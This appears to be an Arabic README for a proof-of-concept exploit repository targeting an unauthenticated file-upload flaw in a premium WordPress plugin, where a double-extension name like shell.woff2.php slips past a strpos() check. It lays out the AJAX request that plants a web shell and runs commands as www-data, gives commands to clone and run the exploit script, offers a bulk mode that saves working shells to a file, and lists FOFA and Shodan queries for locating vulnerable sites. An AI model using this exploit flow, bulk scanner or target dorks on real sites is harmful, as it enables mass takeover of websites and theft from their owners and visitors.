
CVE-2026-58480 / CVE-2026-15158 — ثغرة RCE بدون مصادقة في Blocksy Companion Pro < 2.1.47 (أكثر من 300 ألف تثبيت). رفع ملفات اعتباطية قبل المصادقة عبر تجاوز الامتداد المزدوج.
CVE-2026-58480 (المُتتبَّع أيضًا باسم CVE-2026-15158) هو ثغرة حرجة (CVSS 9.8) تسمح برفع ملفات عشوائية بدون مصادقة في Blocksy Companion Pro < 2.1.47 — الإضافة المميزة لقالب ووردبريس Blocksy (أكثر من 300,000 تثبيت نشط).
معالج الـ AJAX الخاص بـ save_attachments في ميزة Advanced Reviews (جزء من WooCommerce Extra) يقبل رفع الملفات بدون مصادقة. إضافة Custom Fonts تتحقق من الملفات عبر فحص strpos() للبحث عن نص فرعي .woff2 / .ttf — وليس امتداد الملف الفعلي. يستغل المهاجمون ذلك باستخدام أسماء مزدوجة الامتداد مثل shell.woff2.php: يطابق .woff2 فحص النص الفرعي، بينما ينفّذ .php على الخادم.
| الإصدار | الحالة |
|---|---|
| < 2.1.47 | متأثر |
| 2.1.47+ | مُصحَّح |
المتطلبات: ترخيص مميز مع تفعيل إضافتي WooCommerce Extra (Advanced Reviews) و Custom Fonts. إضافة
blocksy-companionالمجانية لا تحتوي على مسارات الكود المعرضة للخطر.
تسجّل إضافة Custom Fonts مُرشِّحًا باسم wp_check_filetype_and_ext يتحقق من أسماء الملفات باستخدام strpos() — أي مطابقة نص فرعي — بدلًا من التحقق من الامتداد الفعلي للملف عبر PATHINFO_EXTENSION:
// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
تستدعي دالة save_attachments في Advanced Reviews معالجة الرفع القياسية في ووردبريس، والتي تستدعي هذا المُرشِّح. يجتاز ملف باسم shell.woff2.php الفحص لأن .woff2 موجود كنص فرعي — إذ لا يتحقق المُرشِّح من كونه الامتداد النهائي.
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data
| الملف (Trac) | السطر | الغرض |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | مُرشِّح التحقق عبر strpos() |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php | 811 |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit
python exploit.py -u https://target.com
# Bulk scan
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_extيُقدَّم هذا الاستغلال لأغراض تعليمية وللأبحاث الأمنية المصرّح بها فقط. لا تستخدمه ضد أي أنظمة بدون إذن صريح من المالك.
معالج save_attachments |